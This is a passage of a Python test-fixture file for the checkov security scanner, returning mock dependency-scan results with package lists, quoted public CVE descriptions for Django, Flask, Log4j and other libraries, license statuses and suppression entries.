repo_id="bridgecrewio/checkov", skip_fixes=True, skip_download=True, source=SourceType("Github", False), source_version="1.0", repo_branch="master", ) return bc_integration @pytest.fixture(scope='package') def scan_result_2() -> Dict[str, Dict[str, Any]]: return { "/requirements.txt": { "repository": "/requirements.txt", "passed": True, "packages": [ { "type": "python", "name": "requests", "version": "2.26.0", "path": "/requirements.txt", "registry": "https://pypi.python.org/", }, { "type": "python", "name": "django", "version": "1.2", "path": "/requirements.txt", "registry": "https://pypi.python.org/" }, { "type": "python", "name": "flask", "version": "0.6", "path": "/requirements.txt", "registry": "https://pypi.python.org/" }, ], "complianceIssues": None, "complianceDistribution": {"critical": 0, "high": 0, "medium": 0, "low": 0, "total": 0}, "vulnerabilities": [ { "id": "CVE-2019-19844", "status": "fixed in 3.0.1, 2.2.9, 1.11.27", "cvss": 9.8, "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "description": "Django before 1.11.27, 2.x before 2.2.9, and 3.x before 3.0.1 allows account takeover. A suitably crafted email address (that is equal to an existing user\\'s email address after case transformation of Unicode characters) would allow an attacker to be sent a password reset token for the matched user account. (One mitigation in the new releases is to send password reset tokens only to the registered user email address.)", "severity": "critical", "packageName": "django", "packageVersion": "1.2", "link": "https://nvd.nist.gov/vuln/detail/CVE-2019-19844", 'riskFactors': {'Critical severity': {}, 'Attack complexity: low': {}, 'Has fix': {}, 'Remote execution': {}, 'Attack vector: network': {}}, 'riskFactorsV2': {'Severity': 'Critical', 'HasFix': True, 'DoS': False, 'AttackComplexity': 'low', 'AttackVector': 'network', 'RemoteExecution': True}, "impactedVersions": ["<1.11.27"], "publishedDate": "2019-12-18T20:15:00+01:00", "discoveredDate": "2019-12-18T19:15:00Z", "fixDate": "2019-12-18T20:15:00+01:00", }, { "id": "CVE-2016-6186", "status": "fixed in 1.9.8, 1.8.14", "cvss": 6.1, "vector": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "description": "Cross-site scripting (XSS) vulnerability in the dismissChangeRelatedObjectPopup function in contrib/admin/static/admin/js/admin/RelatedObjectLookups.js in Django before 1.8.14, 1.9.x before 1.9.8, and 1.10.x before 1.10rc1 allows remote attackers to inject arbitrary web script or HTML via vectors involving unsafe usage of Element.innerHTML.", "severity": "medium", "packageName": "django", "packageVersion": "1.2", "link": "https://nvd.nist.gov/vuln/detail/CVE-2016-6186", 'riskFactors': {'Critical severity': {}, 'Attack complexity: low': {}, 'Has fix': {}, 'Remote execution': {}, 'Attack vector: network': {}}, 'riskFactorsV2': {'Severity': 'Critical', 'HasFix': True, 'DoS': False, 'AttackComplexity': 'low', 'AttackVector': 'network', 'RemoteExecution': True}, "impactedVersions": ["<=1.8.13"], "publishedDate": "2016-08-05T17:59:00+02:00", "discoveredDate": "2016-08-05T15:59:00Z", "fixDate": "2016-08-05T17:59:00+02:00", }, { "id": "CVE-2016-7401", "status": "fixed in 1.9.10, 1.8.15", "cvss": 7.5, "vector": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "description": "The cookie parsing code in Django before 1.8.15 and 1.9.x before 1.9.10, when used on a site with Google Analytics, allows remote attackers to bypass an intended CSRF protection mechanism by setting arbitrary cookies.", "severity": "high", "packageName": "django", "packageVersion": "1.2", "link": "https://nvd.nist.gov/vuln/detail/CVE-2016-7401", 'riskFactors': {'Critical severity': {}, 'Attack complexity: low': {}, 'Has fix': {}, 'Remote execution': {}, 'Attack vector: network': {}}, 'riskFactorsV2': {'Severity': 'Critical', 'HasFix': True, 'DoS': False, 'AttackComplexity': 'low', 'AttackVector': 'network', 'RemoteExecution': True}, "impactedVersions": ["<=1.8.14"], "publishedDate": "2016-10-03T20:59:00+02:00", "discoveredDate": "2016-10-03T18:59:00Z", "fixDate": "2016-10-03T20:59:00+02:00", }, { "id": "CVE-2021-33203", "status": "fixed in 3.2.4, 3.1.12, 2.2.24", "cvss": 4.9, "vector": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N", "description": "Django before 2.2.24, 3.x before 3.1.12, and 3.2.x before 3.2.4 has a potential directory traversal via django.contrib.admindocs. Staff members could use the TemplateDetailView view to check the existence of arbitrary files. Additionally, if (and only if) the default admindocs templates have been customized by application developers to also show file contents, then not only the existence but also the file contents would have been exposed. In other words, there is directory traversal outside of the template root directories.", "severity": "medium", "packageName": "django", "packageVersion": "1.2", "link": "https://nvd.nist.gov/vuln/detail/CVE-2021-33203", 'riskFactors': {'Critical severity': {}, 'Attack complexity: low': {}, 'Has fix': {}, 'Remote execution': {}, 'Attack vector: network': {}}, 'riskFactorsV2': {'Severity': 'Critical', 'HasFix': True, 'DoS': False, 'AttackComplexity': 'low', 'AttackVector': 'network', 'RemoteExecution': True}, "impactedVersions": ["<2.2.24"], "publishedDate": "2021-06-08T20:15:00+02:00", "discoveredDate": "2021-06-08T18:15:00Z", "fixDate": "2021-06-08T20:15:00+02:00", }, { "id": "CVE-2019-1010083", "status": "fixed in 1.0", "cvss": 7.5, "vector": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "description": "The Pallets Project Flask before 1.0 is affected by: unexpected memory usage. The impact is: denial of service. The attack vector is: crafted encoded JSON data. The fixed version is: 1. NOTE: this may overlap CVE-2018-1000656.", "severity": "high", "packageName": "flask", "packageVersion": "0.6", "link": "https://nvd.nist.gov/vuln/detail/CVE-2019-1010083", 'riskFactors': {'Critical severity': {}, 'Attack complexity: low': {}, 'Has fix': {}, 'Remote execution': {}, 'Attack vector: network': {}}, 'riskFactorsV2': {'Severity': 'Critical', 'HasFix': True, 'DoS': False, 'AttackComplexity': 'low', 'AttackVector': 'network', 'RemoteExecution': True}, "impactedVersions": ["<1.0"], "publishedDate": "2019-07-17T16:15:00+02:00", "discoveredDate": "2019-07-17T14:15:00Z", "fixDate": "2019-07-17T16:15:00+02:00", }, { "id": "CVE-2018-1000656", "status": "fixed in 0.12.3", "cvss": 7.5, "vector": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "description": "The Pallets Project flask version Before 0.12.3 contains a CWE-20: Improper Input Validation vulnerability in flask that can result in Large amount of memory usage possibly leading to denial of service. This attack appear to be exploitable via Attacker provides JSON data in incorrect encoding. This vulnerability appears to have been fixed in 0.12.3. NOTE: this may overlap CVE-2019-1010083.", "severity": "high", "packageName": "flask", "packageVersion": "0.6", "link": "https://nvd.nist.gov/vuln/detail/CVE-2018-1000656", 'riskFactors': {'Critical severity': {}, 'Attack complexity: low': {}, 'Has fix': {}, 'Remote execution': {}, 'Attack vector: network': {}}, 'riskFactorsV2': {'Severity': 'Critical', 'HasFix': True, 'DoS': False, 'AttackComplexity': 'low', 'AttackVector': 'network', 'RemoteExecution': True}, "impactedVersions": ["<0.12.3"], "publishedDate": "2018-08-20T21:31:00+02:00", "discoveredDate": "2018-08-20T19:31:00Z", "fixDate": "2018-08-20T21:31:00+02:00", }, ], "vulnerabilityDistribution": {"critical": 1, "high": 3, "medium": 2, "low": 0, "total": 6}, "license_statuses": [ { "packageName": "django", "packageVersion": "1.2", "packageLang": "python", "license": "OSI_BDS", "status": "COMPLIANT", "policy": "BC_LIC_1" }, { "packageName": "flask", "packageVersion": "0.6", "packageLang": "python", "license": "OSI_APACHE", "status": "COMPLIANT", "policy": "BC_LIC_1" }, { "packageName": "flask", "packageVersion": "0.6", "packageLang": "python", "license": "DUMMY_OTHER_LICENSE", # not a real license. it is just for test a package with 2 licenses "status": "OPEN", "policy": "BC_LIC_1" }, { "packageName": "requests", "packageVersion": "2.26.0", "packageLang": "python", "license": "OSI_APACHE", "status": "COMPLIANT", "policy": "BC_LIC_1" } ], "inlineSuppressions": { "cves": { "byCve": [ { "cveId": "CVE-2019-1010083", "reason": "Test CVE suppression 1" }, { "cveId": "CVE-2016-6186", "reason": "Test CVE suppression 2" } ] }, "licenses": { "byPackage": [ { "licenses": [], "licensePolicy": "BC_LIC_1", "packageName": "django", "reason": "Test License suppression 1" } ] } } }, "/path/to/sub/requirements.txt": { "repository": "/path/to/sub/requirements.txt", "passed": True, "packages": [ { "type": "python", "name": "requests", "version": "2.26.0", "path": "/path/to/sub/requirements.txt", } ], "complianceIssues": None, "complianceDistribution": {"critical": 0, "high": 0, "medium": 0, "low": 0, "total": 0}, "vulnerabilities": None, "vulnerabilityDistribution": {"critical": 0, "high": 0, "medium": 0, "low": 0, "total": 0}, "license_statuses": [ { "packageName": "requests", "packageVersion": "2.26.0", "packageLang": "python", "license": "OSI_APACHE", "status": "COMPLIANT", "policy": "BC_LIC_1" } ], }, "/path/to/go.sum": { "repository": "/path/to/go.sum", "passed": True, "packages": [ { "type": "go", "name": "github.com/miekg/dns", "version": "v1.1.41", "path": "/path/to/go.sum", }, { "type": "go", "name": "golang.org/x/crypto", "version": "v0.0.1", "path": "/path/to/go.sum", }, { "type": "go", "name": "github.com/dgrijalva/jwt-go", "version": "v3.2.0", "path": "/path/to/go.sum", }, { "type": "go", "name": "github.com/prometheus/client_model", "version": "v0.0.0-20190129233127-fd36f4220a90", "path": "/path/to/go.sum", } ], "complianceIssues": None, "complianceDistribution": {"critical": 0, "high": 0, "medium": 0, "low": 0, "total": 0}, "vulnerabilities": [ { "id": "CVE-2020-29652", "status": "fixed in v0.0.2", "cvss": 7.5, "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "description": "A nil pointer dereference in the golang.org/x/crypto/ssh component through v0.0.3 for Go allows remote attackers to cause a denial of service against SSH servers.", "severity": "high", "packageName": "golang.org/x/crypto", "packageVersion": "v0.0.1", "link": "https://nvd.nist.gov/vuln/detail/CVE-2020-29652", 'riskFactors': {'Critical severity': {}, 'Attack complexity: low': {}, 'Has fix': {}, 'Remote execution': {}, 'Attack vector: network': {}}, 'riskFactorsV2': {'Severity': 'Critical', 'HasFix': True, 'DoS': False, 'AttackComplexity': 'low', 'AttackVector': 'network', 'RemoteExecution': True}, "impactedVersions": [" Dict[str, Dict[str, Any]]: return { '/empty/package-lock.json': {'branch': '', 'cicdDetails': {'runId': 1, 'pr': '', 'commit': '', 'scaCliScanId': '1670509263116'}, 'filePath': '/empty/package-lock.json', 'name': 'package-lock.json', 'packages': [], 'sourceId': 'ajbara_cli_repo/ScaGoat-main', 'sourceType': 'CLI', 'type': 'Package', 'vulnerabilities': [], 'dependencyTreeS3ObjectKey': 'dependency_tree/ajbara/ajbara_cli_repo/ScaGoat-main/1670509263116/src/empty/dependency-tree-package-lock.json', 'email': '', 'customerName': 'ajbara', 'dependencies': {}, 'repositoryId': ''}, '/package-files/java/maven/normal/pom.xml': {'sourceId': 'ajbara_cli_repo/ScaGoat-main', 'type': 'Package', 'branch': '', 'sourceType': 'CLI', 'vulnerabilities': [ {'cveId': 'CVE-2020-15250', 'status': 'fixed in 4.13.1', 'severity': 'moderate', 'packageName': 'junit_junit', 'packageVersion': '4.12', 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2020-15250', 'cvss': 4, 'vector': 'CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N', 'description': "In JUnit4 from version 4.7 and before 4.13.1, the test rule TemporaryFolder contains a local information disclosure vulnerability. On Unix like systems, the system\\'s temporary directory is shared between all users on that system. Because of this, when files and directories are written into this directory they are, by default, readable by other users on that same system. This vulnerability does not allow other users to overwrite the contents of these directories or files. This is purely an information disclosure vulnerability. This vulnerability impacts you if the JUnit tests write sensitive information, like API keys or passwords, into the temporary folder, and the JUnit tests execute in an environment where the OS has other untrusted users. Because certain JDK file system APIs were only added in JDK 1.7, this this fix is dependent upon the version of the JDK you are using. For Java 1.7 and higher users: this vulnerability is fixed in 4.13.1. For Java 1.6 and lower users: no patch is available, you must use the workaround below. If you are unable to patch, or are stuck running on Java 1.6, specifying the `java.io.tmpdir` system environment variable to a directory that is exclusively owned by the executing user will fix this vulnerability. For more information, including an example of vulnerable code, see the referenced GitHub Security Advisory.", 'riskFactors': {'Medium severity': {}, 'Attack complexity: low': {}, 'Has fix': {}}, 'riskFactorsV2': {'Severity': 'Medium', 'HasFix': True, 'DoS': False, 'AttackComplexity': 'low'}, 'publishedDate': '2020-10-12T17:33:00Z'}, {'cveId': 'CVE-2015-6420', 'status': 'fixed in 3.2.2', 'severity': 'high', 'packageName': 'commons-collections_commons-collections', 'packageVersion': '3.0', 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2015-6420', 'cvss': 7, 'vector': 'AV:N/AC:L/Au:N/C:P/I:P/A:P', 'description': 'Serialized-object interfaces in certain Cisco Collaboration and Social Media; Endpoint Clients and Client Software; Network Application, Service, and Acceleration; Network and Content Security Devices; Network Management and Provisioning; Routing and Switching - Enterprise and Service Provider; Unified Computing; Voice and Unified Communications Devices; Video, Streaming, TelePresence, and Transcoding Devices; Wireless; and Cisco Hosted Services products allow remote attackers to execute arbitrary commands via a crafted serialized Java object, related to the Apache Commons Collections (ACC) library.', 'riskFactors': {'Critical severity': {}, 'Attack complexity: low': {}, 'Has fix': {}, 'Remote execution': {}, 'Attack vector: network': {}}, 'riskFactorsV2': {'Severity': 'Critical', 'HasFix': True, 'DoS': False, 'AttackComplexity': 'low', 'AttackVector': 'network', 'RemoteExecution': True}, 'publishedDate': '2020-06-15T20:36:20Z'}, {'cveId': 'CVE-2015-7501', 'status': 'fixed in 3.2.2', 'severity': 'critical', 'packageName': 'commons-collections_commons-collections', 'packageVersion': '3.0', 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2015-7501', 'cvss': 9, 'vector': 'CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H', 'description': 'Red Hat JBoss A-MQ 6.x; BPM Suite (BPMS) 6.x; BRMS 6.x and 5.x; Data Grid (JDG) 6.x; Data Virtualization (JDV) 6.x and 5.x; Enterprise Application Platform 6.x, 5.x, and 4.3.x; Fuse 6.x; Fuse Service Works (FSW) 6.x; Operations Network (JBoss ON) 3.x; Portal 6.x; SOA Platform (SOA-P) 5.x; Web Server (JWS) 3.x; Red Hat OpenShift/xPAAS 3.x; and Red Hat Subscription Asset Manager 1.3 allow remote attackers to execute arbitrary commands via a crafted serialized Java object, related to the Apache Commons Collections (ACC) library.', 'riskFactors': {'Critical severity': {}, 'Attack complexity: low': {}, 'Has fix': {}, 'Remote execution': {}, 'Attack vector: network': {}}, 'riskFactorsV2': {'Severity': 'Critical', 'HasFix': True, 'DoS': False, 'AttackComplexity': 'low', 'AttackVector': 'network', 'RemoteExecution': True}, 'publishedDate': '2022-05-13T01:25:20Z'}, {'cveId': 'CVE-2021-45046', 'status': 'fixed in 2.16.0, 2.12.2, 2.3.1', 'severity': 'critical', 'packageName': 'org.apache.logging.log4j_log4j-core', 'packageVersion': '2.14.0', 'link': 'https://logging.apache.org/log4j/2.x/security.html#CVE-2021-45046', 'cvss': 9, 'vector': 'CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H', 'description': 'It was found that the fix to address CVE-2021-44228 in Apache Log4j 2.15.0 was incomplete in certain non-default configurations. This could allows attackers with control over Thread Context Map (MDC) input data when the logging configuration uses a non-default Pattern Layout with either a Context Lookup (for example, $${ctx:loginId}) or a Thread Context Map pattern (%X, %mdc, or %MDC) to craft malicious input data using a JNDI Lookup pattern resulting in an information leak and remote code execution in some environments and local code execution in all environments. Log4j 2.16.0 (Java 8) and 2.12.2 (Java 7) fix this issue by removing support for message lookup patterns and disabling JNDI functionality by default.', 'riskFactors': {'Critical severity': {}, 'Attack complexity: low': {}, 'Has fix': {}, 'Remote execution': {}, 'Attack vector: network': {}}, 'riskFactorsV2': {'Severity': 'Critical', 'HasFix': True, 'DoS': False, 'AttackComplexity': 'low', 'AttackVector': 'network', 'RemoteExecution': True}, 'publishedDate': '2021-12-14T19:15:00Z'}, {'cveId': 'CVE-2021-45105', 'status': 'fixed in 2.17.0, 2.12.3, 2.3.1', 'severity': 'high', 'packageName': 'org.apache.logging.log4j_log4j-core', 'packageVersion': '2.14.0', 'link': 'https://logging.apache.org/log4j/2.x/security.html#CVE-2021-45105', 'cvss': 7.5, 'vector': 'CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H', 'description': 'Apache Log4j2 versions 2.0-alpha1 through 2.16.0 (excluding 2.12.3 and 2.3.1) did not protect from uncontrolled recursion from self-referential lookups. This allows an attacker with control over Thread Context Map data to cause a denial of service when a crafted string is interpreted. This issue was fixed in Log4j 2.17.0, 2.12.3, and 2.3.1.', 'riskFactors': {'Critical severity': {}, 'Attack complexity: low': {}, 'Has fix': {}, 'Remote execution': {}, 'Attack vector: network': {}}, 'riskFactorsV2': {'Severity': 'Critical', 'HasFix': True, 'DoS': False, 'AttackComplexity': 'low', 'AttackVector': 'network', 'RemoteExecution': True}, 'publishedDate': '2021-12-18T18:00:07Z'}, {'cveId': 'CVE-2021-44832', 'status': 'fixed in 2.17.1, 2.12.4, 2.3.2', 'severity': 'medium', 'packageName': 'org.apache.logging.log4j_log4j-core', 'packageVersion': '2.14.0', 'link': 'https://logging.apache.org/log4j/2.x/security.html#CVE-2021-44832', 'cvss': 6.6, 'vector': 'CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H', 'description': 'Apache Log4j2 versions 2.0-beta7 through 2.17.0 (excluding security fix releases 2.3.2 and 2.12.4) are vulnerable to a remote code execution (RCE) attack when a configuration uses a JDBC Appender with a JNDI LDAP data source URI when an attacker has control of the target LDAP server. This issue is fixed by limiting JNDI data source names to the java protocol in Log4j2 versions 2.17.1, 2.12.4, and 2.3.2.', 'riskFactors': {'Critical severity': {}, 'Attack complexity: low': {}, 'Has fix': {}, 'Remote execution': {}, 'Attack vector: network': {}}, 'riskFactorsV2': {'Severity': 'Critical', 'HasFix': True, 'DoS': False, 'AttackComplexity': 'low', 'AttackVector': 'network', 'RemoteExecution': True}, 'publishedDate': '2021-12-28T20:15:00Z'}, {'cveId': 'CVE-2021-44228', 'status': 'fixed in 2.15.0, 2.12.2', 'severity': 'critical', 'packageName': 'org.apache.logging.log4j_log4j-core', 'packageVersion': '2.14.0', 'link': 'https://logging.apache.org/log4j/2.x/security.html#CVE-2021-44228', 'cvss': 10, 'vector': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H', 'description': 'Apache Log4j2 2.0-beta9 through 2.15.0 (excluding security releases 2.12.2, 2.12.3, and 2.3.1) JNDI features used in configuration, log messages, and parameters do not protect against attacker controlled LDAP and other JNDI related endpoints. An attacker who can control log messages or log message parameters can execute arbitrary code loaded from LDAP servers when message lookup substitution is enabled. From log4j 2.15.0, this behavior has been disabled by default. From version 2.16.0 (along with 2.12.2, 2.12.3, and 2.3.1), this functionality has been completely removed. Note that this vulnerability is specific to log4j-core and does not affect log4net, log4cxx, or other Apache Logging Services projects.', 'riskFactors': {'Critical severity': {}, 'Attack complexity: low': {}, 'Has fix': {}, 'Remote execution': {}, 'Attack vector: network': {}}, 'riskFactorsV2': {'Severity': 'Critical', 'HasFix': True, 'DoS': False, 'AttackComplexity': 'low', 'AttackVector': 'network', 'RemoteExecution': True}, 'publishedDate': '2021-12-10T10:15:00Z'}], 'name': 'pom.xml', 'filePath': '/package-files/java/maven/normal/pom.xml', 'fileContent': None, 'packages': [ {'type': 'jar', 'name': 'junit_junit', 'version': '4.12', 'licenses': []}, {'type': 'jar', 'name': 'commons-collections_commons-collections', 'version': '3.0', 'licenses': []}, {'type': 'jar', 'name': 'org.apache.logging.log4j_log4j-core', 'version': '2.14.0', 'licenses': []}], 'cicdDetails': {'runId': 1, 'pr': '', 'commit': '', 'scaCliScanId': '1670509263116'}, 'customerName': 'ajbara', 'email': 'ajbara@paloaltonetworks.com', 'license_statuses': []}, '/package-files/yarn/package.json': {'sourceId': 'ajbara_cli_repo/ScaGoat-main', 'type': 'Package', 'branch': '', 'sourceType': 'CLI', 'vulnerabilities': [ {'cveId': 'PRISMA-2021-0013', 'status': 'fixed in 1.1.1', 'severity': 'medium', 'packageName': 'marked', 'packageVersion': '0.3.9', 'link': None, 'cvss': None, 'vector': None, 'description': 'marked package prior to 1.1.1 are vulnerable to Regular Expression Denial of Service (ReDoS). The regex within src/rules.js file have multiple unused capture groups which could lead to a denial of service attack if user input is reachable. Origin: https://github.com/markedjs/marked/commit/bd4f8c464befad2b304d51e33e89e567326e62e0', 'riskFactors': {'Critical severity': {}, 'Attack complexity: low': {}, 'Has fix': {}, 'Remote execution': {}, 'Attack vector: network': {}}, 'riskFactorsV2': {'Severity': 'Critical', 'HasFix': True, 'DoS': False, 'AttackComplexity': 'low', 'AttackVector': 'network', 'RemoteExecution': True}, 'publishedDate': '2021-01-14T10:29:35Z'}, {'cveId': 'CVE-2022-21681', 'status': 'fixed in 4.0.10', 'severity': 'high', 'packageName': 'marked', 'packageVersion': '0.3.9', 'link': 'https://github.com/advisories/GHSA-5v2h-r2cx-5xgj', 'cvss': 7.5, 'vector': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H', 'description': 'Marked is a markdown parser and compiler. Prior to version 4.0.10, the regular expression `inline.reflinkSearch` may cause catastrophic backtracking against some strings and lead to a denial of service (DoS). Anyone who runs untrusted markdown through a vulnerable version of marked and does not use a worker with a time limit may be affected. This issue is patched in version 4.0.10. As a workaround, avoid running untrusted markdown through marked or run marked on a worker thread and set a reasonable time limit to prevent draining resources.', 'riskFactors': {'Critical severity': {}, 'Attack complexity: low': {}, 'Has fix': {}, 'Remote execution': {}, 'Attack vector: network': {}}, 'riskFactorsV2': {'Severity': 'Critical', 'HasFix': True, 'DoS': False, 'AttackComplexity': 'low', 'AttackVector': 'network', 'RemoteExecution': True}, 'publishedDate': '2022-01-14T17:15:00Z'}, {'cveId': 'CVE-2022-21680', 'status': 'fixed in 4.0.10', 'severity': 'high', 'packageName': 'marked', 'packageVersion': '0.3.9', 'link': 'https://github.com/advisories/GHSA-rrrm-qjm4-v8hf', 'cvss': 7.5, 'vector': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H', 'description': 'Marked is a markdown parser and compiler. Prior to version 4.0.10, the regular expression `block.def` may cause catastrophic backtracking against some strings and lead to a regular expression denial of service (ReDoS). Anyone who runs untrusted markdown through a vulnerable version of marked and does not use a worker with a time limit may be affected. This issue is patched in version 4.0.10. As a workaround, avoid running untrusted markdown through marked or run marked on a worker thread and set a reasonable time limit to prevent draining resources.', 'riskFactors': {'Critical severity': {}, 'Attack complexity: low': {}, 'Has fix': {}, 'Remote execution': {}, 'Attack vector: network': {}}, 'riskFactorsV2': {'Severity': 'Critical', 'HasFix': True, 'DoS': False, 'AttackComplexity': 'low', 'AttackVector': 'network', 'RemoteExecution': True}, 'publishedDate': '2022-01-14T17:15:00Z'}], 'name': 'package.json', 'filePath': '/package-files/yarn/package.json', 'fileContent': None, 'packages': [ {'type': 'nodejs', 'name': 'marked', 'version': '0.3.9', 'licenses': []}, {'type': 'nodejs', 'name': 'csurf', 'version': '', 'licenses': []}, {'type': 'nodejs', 'name': 'cypress', 'version': '', 'licenses': []}, {'type': 'nodejs', 'name': 'mongodb', 'version': '', 'licenses': []}, {'type': 'nodejs', 'name': 'grunt-cli', 'version': '', 'licenses': []}, {'type': 'nodejs', 'name': 'zaproxy', 'version': '', 'licenses': []}, {'type': 'nodejs', 'name': 'should', 'version': '', 'licenses': []}, {'type': 'nodejs', 'name': 'nodemon', 'version': '', 'licenses': []}, {'type': 'nodejs', 'name': 'underscore', 'version': '', 'licenses': []}, {'type': 'nodejs', 'name': 'serve-favicon', 'version': '', 'licenses': []}, {'type': 'nodejs', 'name': 'swig', 'version': '', 'licenses': []}], 'cicdDetails': {'runId': 1, 'pr': '', 'commit': '', 'scaCliScanId': '1670509263116'}, 'customerName': 'ajbara', 'email': 'ajbara@paloaltonetworks.com', 'license_statuses': [ {'packageName': 'bcrypt-nodejs', 'packageVersion': '0.0.3', 'packageLang': 'nodejs', 'license': 'NOT_FOUND', 'status': 'OPEN', 'policy': 'BC_LIC_2'}, {'packageName': 'marked', 'packageVersion': '0.3.9', 'packageLang': 'nodejs', 'license': 'MIT', 'status': 'COMPLIANT', 'policy': 'BC_LIC_1'}, {'packageName': 'needle', 'packageVersion': '2.2.4', 'packageLang': 'nodejs', 'license': 'MIT', 'status': 'COMPLIANT', 'policy': 'BC_LIC_1'}, {'packageName': 'node-esapi', 'packageVersion': '0.0.1', 'packageLang': 'nodejs', 'license': 'NOT_FOUND', 'status': 'OPEN', 'policy': 'BC_LIC_2'}]}, '/package-lock.json': {'branch': '', 'cicdDetails': {'runId': 1, 'pr': '', 'commit': '', 'scaCliScanId': '1670509263116'}, 'filePath': '/package-lock.json', 'name': 'package-lock.json', 'packages': [{'name': '@cypress/listr-verbose-renderer', 'version': '0.4.1', 'root': False}, {'name': 'chalk', 'version': '1.1.3', 'root': False}, {'name': 'supports-color', 'version': '2.0.0', 'root': False}, {'name': '@cypress/xvfb', 'version': '1.2.4', 'root': False}, {'name': 'debug', 'version': '3.2.7', 'root': False}, {'name': 'ms','version': '2.1.3', 'root': False}, {'name': '@types/sizzle','version': '2.3.2', 'root': False}, {'name': 'abbrev', 'version': '1.1.1', 'root': False}, {'name': 'accepts', 'version': '1.3.8', 'root': False}, {'name': 'mime-types', 'version': '2.1.34', 'root': False}, {'name': 'negotiator','version': '0.6.3','root': False}, {'name': 'adm-zip', 'version': '0.4.4', 'root': False,'cves_index': [3, 4]}, {'name': 'ajv', 'version': '6.12.6', 'root': False}, {'name': 'amdefine', 'version': '1.0.1', 'root': False}, {'name': 'ansi-align', 'version': '2.0.0', 'root': False}, {'name': 'ansi-regex', 'version': '3.0.0', 'root': False, 'cves_index': [0]}, { 'name': 'is-fullwidth-code-point', 'version': '2.0.0', 'root': False},{'name': 'string-width','version': '2.1.1','root': False}, {'name': 'strip-ansi', 'version': '4.0.0', 'root': False}, {'name': 'ansi-escapes', 'version': '1.4.0', 'root': False}, {'name': 'ansi-regex', 'version': '2.1.1', 'root': False}, {'name': 'ansi-styles', 'version': '2.2.1', 'root': False}, {'name': 'anymatch', 'version': '2.0.0', 'root': False}, {'name': 'micromatch', 'version': '3.1.10', 'root': False}, {'name': 'normalize-path', 'version': '2.1.1', 'root': False}, {'name': 'remove-trailing-separator', 'version': '1.1.0', 'root': False}, {'name': 'arch', 'version': '2.1.1', 'root': False}, {'name': 'argparse', 'version': '1.0.10', 'root': False}, {'name': 'sprintf-js', 'version': '1.0.3', 'root': False}, {'name': 'arr-diff', 'version': '4.0.0', 'root': False}, {'name': 'arr-flatten', 'version': '1.1.0', 'root': False}, {'name': 'arr-union', 'version': '3.1.0', 'root': False}, {'name': 'array-each', 'version': '1.0.1', 'root': False}, {'name': 'array-find-index', 'version': '1.0.2', 'root': False}, {'name': 'array-flatten', 'version': '1.1.1', 'root': False}, {'name': 'array-slice', 'version': '1.1.0', 'root': False}, {'name': 'array-unique', 'version': '0.3.2', 'root': False}, {'name': 'arrify', 'version': '1.0.1', 'root': False}, {'name': 'asap', 'version': '2.0.6', 'root': False}, {'name': 'asn1', 'version': '0.2.6', 'root': False}, {'name': 'assert-plus', 'version': '1.0.0', 'root': False}, {'name': 'assign-symbols', 'version': '1.0.0', 'root': False}, {'name': 'async', 'version': '2.6.3', 'root': False, 'cves_index': [2]}, {'name': 'async-each', 'version': '1.0.3', 'root': False}, {'name': 'asynckit', 'version': '0.4.0', 'root': False}, {'name': 'atob', 'version': '2.1.2', 'root': False}, {'name': 'available-typed-arrays', 'version': '1.0.5', 'root': False}, {'name': 'aws-sign2', 'version': '0.7.0', 'root': False}, {'name': 'aws4', 'version': '1.11.0', 'root': False}, {'name': 'balanced-match', 'version': '1.0.2', 'root': False}, {'name': 'base', 'version': '0.11.2', 'root': False}, {'name': 'cache-base', 'version': '1.0.1', 'root': False}, {'name': 'class-utils', 'version': '0.3.6', 'root': False}, {'name': 'component-emitter', 'version': '1.3.0', 'root': False}, {'name': 'define-property', 'version': '1.0.0', 'root': False}, {'name': 'isobject', 'version': '3.0.1', 'root': False}, {'name': 'mixin-deep', 'version': '1.3.2', 'root': False}, {'name': 'pascalcase', 'version': '0.1.1', 'root': False}, {'name': 'is-descriptor', 'version': '1.0.2', 'root': False}, {'name': 'is-accessor-descriptor', 'version': '1.0.0', 'root': False}, {'name': 'is-data-descriptor', 'version': '1.0.0', 'root': False}, {'name': 'kind-of', 'version': '6.0.3', 'root': False}, {'name': 'bcrypt-nodejs', 'version': '0.0.3', 'root': True}, {'name': 'bcrypt-pbkdf', 'version': '1.0.2', 'root': False}, {'name': 'binary-extensions', 'version': '1.13.1', 'root': False}, {'name': 'bindings', 'version': '1.5.0', 'root': False}, {'name': 'file-uri-to-path', 'version': '1.0.0', 'root': False}, {'name': 'bl', 'version': '1.0.3', 'root': False, 'cves_index': [1]}, {'name': 'isarray', 'version': '1.0.0', 'root': False}, {'name': 'process-nextick-args', 'version': '1.0.7', 'root': False}, {'name': 'readable-stream', 'version': '2.0.6', 'root': False}, {'name': 'string_decoder', 'version': '0.10.31', 'root': False}, {'name': 'bluebird', 'version': '3.7.2', 'root': False}, {'name': 'body', 'version': '5.1.0', 'root': False}, {'name': 'bytes', 'version': '1.0.0', 'root': False}, {'name': 'raw-body', 'version': '1.1.7', 'root': False}, {'name': 'body-parser', 'version': '1.19.2', 'root': False}, {'name': 'bytes', 'version': '3.1.2', 'root': False}, {'name': 'content-type', 'version': '1.0.4', 'root': False}, {'name': 'debug', 'version': '2.6.9', 'root': False}, {'name': 'depd', 'version': '1.1.2', 'root': 